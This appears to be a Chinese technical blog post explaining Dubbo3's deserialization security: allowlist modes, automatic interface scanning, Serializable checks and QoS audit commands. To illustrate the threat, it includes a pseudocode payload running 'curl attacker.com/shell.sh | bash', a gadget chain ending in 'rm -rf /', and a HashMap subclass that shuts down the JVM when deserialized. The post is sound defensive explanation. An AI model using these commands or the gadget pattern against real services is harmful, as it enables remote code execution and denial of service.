2769 words
14 minutes
Dubbo3反序列化安全机制详解

Dubbo3反序列化安全机制详解#

为什么Dubbo3引入反序列化白名单#

Dubbo3从 3.1.6 版本开始引入了”序列化类检查机制”——只允许受信任白名单中的类进行序列化/反序列化。这是为了防止通过反序列化进行的 RCE(远程代码执行) 攻击。

该检查机制有三种模式:

模式行为版本默认值
STRICT只允许白名单中的类,其余一律拒绝3.2 默认
WARN只拒绝黑名单中的类,对非白名单类记录警告3.1 默认
DISABLE不做任何检查

配置方式:

dubbo.application.serialize-check-status=STRICT

通过反序列化实施RCE攻击的原理#

核心前提:Java反序列化会自动执行某些方法#

Java在反序列化一个对象时,会自动调用该对象的 readObject() 方法(如果有的话)。这不是漏洞,这是Java的设计——给类一个机会在反序列化时做自定义恢复逻辑。

// 反序列化时,JVM 会自动调用这个方法
private void readObject(ObjectInputStream in) {
// 这里的代码会自动执行
}

攻击者的思路就是:构造一个恶意对象,它的 readObject() 里会触发危险操作。

但攻击者不能直接写恶意类#

攻击者不能直接传一个 class Evil { Runtime.exec("rm -rf /") } 过去,因为服务端没有这个类。但是,Java类路径上已经有大量现成的类,它们组合起来可以构成一条”调用链”——这就是所谓的 Gadget Chain(利用链)

简化的攻击流程#

假设服务端类路径上有这些类(常见于 commons-collections、Spring 等库):

攻击者构造的序列化数据不是直接传一个命令,
而是构造一个嵌套对象链:
TransformedMap
└─ 内部持有一个 Transformer[] 链
├─ InvokerTransformer("getMethod", "exec")
├─ InvokerTransformer("invoke", ...)
└─ InvokerTransformer("exec", "rm -rf /")

当服务端反序列化这个对象时发生的事情:

1. JVM 反序列化 TransformedMap 对象
2. TransformedMap.readObject() 被自动调用
3. readObject() 内部检查到 Map 发生了变化
4. 触发 Transformer 链逐个执行
5. InvokerTransformer 的作用是:通过反射调用任意方法
6. 最终链式调用等价于:Runtime.getRuntime().exec("rm -rf /")

服务端完全没有意识到它在执行命令,它只是在”还原一个对象”,但还原过程中被精心构造的调用链劫持了。

用伪代码理解整个过程#

攻击者(客户端) 服务端
───────────────── ──────────
// 1. 构造恶意对象
Object malicious = craftPayload(
"curl attacker.com/shell.sh | bash"
);
// 2. 序列化后作为 RPC 参数发送
byte[] data = serialize(malicious);
send(data) ──────────────────►
// 3. 服务端收到,正常反序列化
Object obj = deserialize(data);
// 4. JVM 自动调用 obj.readObject()
// 5. readObject 内部触发 gadget chain
// 6. 等价于执行了:
// Runtime.exec(
// "curl attacker.com/shell.sh | bash"
// )
// 💥 服务器被攻陷

为什么Dubbo尤其容易被攻击#

Dubbo作为RPC框架,天然需要接收外部网络数据并反序列化

Consumer ──[序列化参数]──► 网络 ──► Provider 反序列化
攻击入口在这里

攻击者伪装成Consumer,发送恶意序列化数据,Provider反序列化时就触发了RCE。

Hessian2反序列化的更直观攻击示例#

比gadget链更简单的攻击方式——Hessian2的 MapDeserializer 在反序列化时会自动调用 map.put(key, value)。攻击者创建一个 DangerousMap 继承 HashMap,重写 put() 方法调用 System.exit(-1)。只需反序列化这个Map就能杀死JVM。这甚至不需要 readObject()——直接劫持了序列化框架自身的逻辑。

public class DangerousMap<K, V> extends HashMap<K, V> {
@Override
public V put(K key, V value) {
System.out.println("The JVM will be shutdown...");
System.exit(-1);
return super.put(key, value);
}
}

测试 DangerousMap 的反序列化,你将看不到 end... 输出,JVM会直接关闭。细思极恐,仅仅是反序列化一个Map对象,竟然导致JVM退出,可见序列化不被信任的Class要非常小心。

重点:不是通过 readObject() 触发的gadget chain,而是序列化框架本身的逻辑MapDeserializer 会自动调用 put)就被劫持了。这比Java原生序列化的 readObject 机制更简单直接。

为什么白名单能防御#

没有白名单时:

deserialize(data) → 发现是 TransformedMap 类 → 正常实例化 → 触发 RCE 💥

有白名单(STRICT 模式)时:

deserialize(data) → 发现是 TransformedMap 类
→ 检查白名单:TransfomedMap 在白名单吗?不在!
→ 拒绝反序列化 → 抛出异常 → 攻击失败 ✅

白名单确保只有业务中真正需要用到的类才能被反序列化,攻击者构造的gadget chain中的类(如 InvokerTransformerTransformedMap)不在白名单里,反序列化直接被拒绝。

历史漏洞#

漏洞利用方式
CVE-2019-17564Dubbo HTTP remoting 接受任意序列化协议,攻击者选择 Java 原生序列化,发送 gadget chain
CVE-2023-46279绕过 Dubbo 的黑名单检查(黑名单可被绕过,所以后来改用白名单)

这也解释了为什么Dubbo从黑名单策略转向了白名单策略——黑名单永远无法穷举所有危险类,而白名单(默认拒绝)从根本上更安全。

Dubbo3如何自动识别白名单参数#

Dubbo3默认 AutoTrustSerializeClass=true,会自动扫描Service接口来填充白名单,避免开发者手动配置白名单带来的额外负担。

触发时机#

当Service暴露(Provider)或引用(Consumer)时自动触发:

ServiceConfig.export() ──► SerializeSecurityConfigurator.registerInterface(Class<?> clazz)
ReferenceConfig.refer() ──► SerializeSecurityConfigurator.registerInterface(Class<?> clazz)

核心源码解析#

public synchronized void registerInterface(Class<?> clazz) {
// 前提:autoTrustSerializeClass 必须为 true(默认就是 true)
if (!autoTrustSerializeClass) {
return;
}
Set<Type> markedClass = new HashSet<>(); // 防止重复扫描
// === 第一步:信任 Service Class 自身 + 递归扫描关联类型 ===
checkClass(markedClass, clazz);
addToAllow(clazz.getName());
Method[] methodsToExport = clazz.getMethods();
// === 第二步:遍历所有方法,信任入参、出参、异常 ===
for (Method method : methodsToExport) {
// 方法入参类型
for (Class<?> parameterType : method.getParameterTypes()) {
checkClass(markedClass, parameterType);
}
// 方法入参的泛型(如 Optional<ThirdParam>)
for (Type genericParameterType : method.getGenericParameterTypes()) {
checkType(markedClass, genericParameterType);
}
// 返回值类型
checkClass(markedClass, method.getReturnType());
checkType(markedClass, method.getGenericReturnType());
// 异常类型
for (Class<?> exceptionType : method.getExceptionTypes()) {
checkClass(markedClass, exceptionType);
}
for (Type genericExceptionType : method.getGenericExceptionTypes()) {
checkType(markedClass, genericExceptionType);
}
}
}

checkClass 递归扫描了什么#

checkClass 不仅仅是把类本身加进去,它会递归展开

checkClass(UserService.class)
├── 信任 UserService 自身
├── 递归扫描 UserService 的父类
├── 递归扫描 UserService 实现的接口
└── 递归扫描 UserService 的所有字段类型
└── 对每个字段类型再次 checkClass(递归到底)

addToAllow 的包级信任策略#

找到类之后,addToAllow 决定信任的范围:

private void addToAllow(String className) {
// 1. JDK 内置类直接信任
if (className.startsWith("java.") || className.startsWith("javax.")
|| className.startsWith("com.sun.") || className.startsWith("sun.")
|| className.startsWith("jdk.")) {
serializeSecurityManager.addToAllowed(className);
return;
}
// 2. 自定义类:根据 trustSerializeClassLevel 信任到包级别
String[] subs = className.split("\\.");
if (subs.length > trustSerializeClassLevel) {
serializeSecurityManager.addToAllowed(
Arrays.stream(subs).limit(trustSerializeClassLevel)
.collect(Collectors.joining(".")) + ".");
} else {
serializeSecurityManager.addToAllowed(className);
}
}

具体例子#

假设你有这个 Service:

package org.example.echo.service;
public interface EchoService {
Result echo(Request request);
}

其中 Requestorg.example.echo.pojo.RequestResultorg.example.echo.pojo.ResulttrustSerializeClassLevel=3

启动时自动信任流程:

扫描 EchoService.class
├─ addToAllow("org.example.echo.service.EchoService")
│ → subs=["org","example","echo","service","EchoService"]
│ → level=3,信任 "org.example.echo."
├─ 扫描方法 echo(Request) 的入参
│ → checkClass(Request.class)
│ → addToAllow("org.example.echo.pojo.Request")
│ → 信任 "org.example.echo." (同上,已存在)
├─ 扫描方法 echo 的返回值
│ → checkClass(Result.class)
│ → addToAllow("org.example.echo.pojo.Result")
│ → 信任 "org.example.echo." (同上,已存在)
└─ 最终结果:org.example.echo 包下所有类都被自动信任

信任优先级#

用户自定义白名单 (serialize.allowlist)
= 框架内置白名单 (dubbo-common 模块预配置)
> 用户自定义黑名单 (serialize.blockedlist)
= 框架内置黑名单
> 自动扫描信任的类(registerInterface 流程)

框架内置白名单预配置了常用安全类,包括:

  • Java基本数据类型及包装类(int, Integer, String, Long …)
  • 常用集合类(ArrayList, HashMap …)
  • java.*, javax.* 开头的JDK类

常见踩坑场景#

由于 Class#getMethods() 返回的方法顺序不固定,如果某个方法的参数引用了consumer端不存在的类(比如三方SDK版本不一致),会导致 ClassNotFoundException注册过程中断,后续方法的参数都不会被加入白名单。

这会造成”重启有时能调通,有时不行”的诡异现象。推荐的修复方式是:Service Class 所有的方法入参和出参,都不应该直接用三方SDK的类——在API模块新建DTO类,把三方类转换成自己的DTO类。

Serializable接口检查机制#

Dubbo3有一个独立的安全层:check-serializable=true(默认开启)。在反序列化时会检查目标类是否实现了 java.io.Serializable 接口。如果没有实现,直接拒绝反序列化。

检查流程#

反序列化请求到达
→ 检查1:该类是否实现了 Serializable 接口?
→ 没实现 → 直接拒绝(不管白名单)
→ 实现了 → 继续检查2:该类在白名单中吗?
→ 不在白名单(STRICT 模式)→ 拒绝
→ 在白名单 → 允许反序列化 ✅

为什么这能防御攻击但又不够#

很多gadget chain中利用的危险类并没有实现 Serializable,比如一些内部工具类、反射辅助类等。即使攻击者构造了嵌套对象链,如果最外层的触发类没实现 Serializable,整个攻击在第一步就被拦住了。

但问题是:大量危险类确实实现了 Serializable。比如 HashMapHashSetLinkedHashMap 等都是gadget chain的常用载体,它们全都实现了 Serializable。所以Serializable检查只是”初筛”,真正核心的防御还是白名单机制。

配置方式:

# 默认 true,开启 Serializable 接口检查
dubbo.application.check-serializable=true

关闭后会跳过这个检查,但不建议关闭

三层防护总结#

层级机制配置项默认值
第1层Serializable接口检查check-serializable=truetrue(开启)
第2层白名单/黑名单检查serialize-check-status=STRICT3.2=STRICT, 3.1=WARN
第3层自动信任扫描auto-trust-serialize-class=truetrue(开启)

三层之间的关系:

场景Serializable检查白名单检查结果
正常业务DTO(实现了Serializable,在白名单中)通过
正常业务DTO(未实现Serializable)拒绝
攻击者的恶意类(实现了Serializable,不在白名单中)拒绝
攻击者的恶意类(未实现Serializable)拒绝

自定义白名单配置#

除了自动扫描,还支持手动配置白名单文件:

resources/security/serialize.allowlist
com.yourcompany.model
# resources/security/serialize.blockedlist
com.dangerous.package

配置成功后可以在日志看到以下提示:

INFO utils.SerializeSecurityConfigurator: [DUBBO] Read serialize allow list from file:...
INFO utils.SerializeSecurityConfigurator: [DUBBO] Read serialize blocked list from file:...

QoS审计命令#

Dubbo支持通过QoS命令实时查看当前的配置信息以及可信/不可信类列表:

serializeCheckStatus —— 查看当前配置信息

通过控制台直接访问:

> telnet 127.0.0.1 22222
dubbo>serializeCheckStatus
CheckStatus: STRICT
CheckSerializable: true
AllowedPrefix:
...
DisAllowedPrefix:
...

通过HTTP请求JSON格式结果:

> curl http://127.0.0.1:22222/serializeCheckStatus
{"checkStatus":"STRICT","allowedPrefix":[...],"checkSerializable":true,"disAllowedPrefix":[...]}

serializeWarnedClasses —— 查看实时警告列表

> telnet 127.0.0.1 22222
dubbo>serializeWarnedClasses
WarnedClasses:
io.dubbo.test.NotSerializable
io.dubbo.test2.NotSerializable

建议及时关注 serializeWarnedClasses 的结果,通过返回结果是否非空来判断是否受到攻击。

参考资料#

Dubbo3反序列化安全机制详解
https://sgjki547.top/posts/dubbo3-deserialization-security/
Author
SGJki
Published at
2026-05-21
License
CC BY-NC-SA 4.0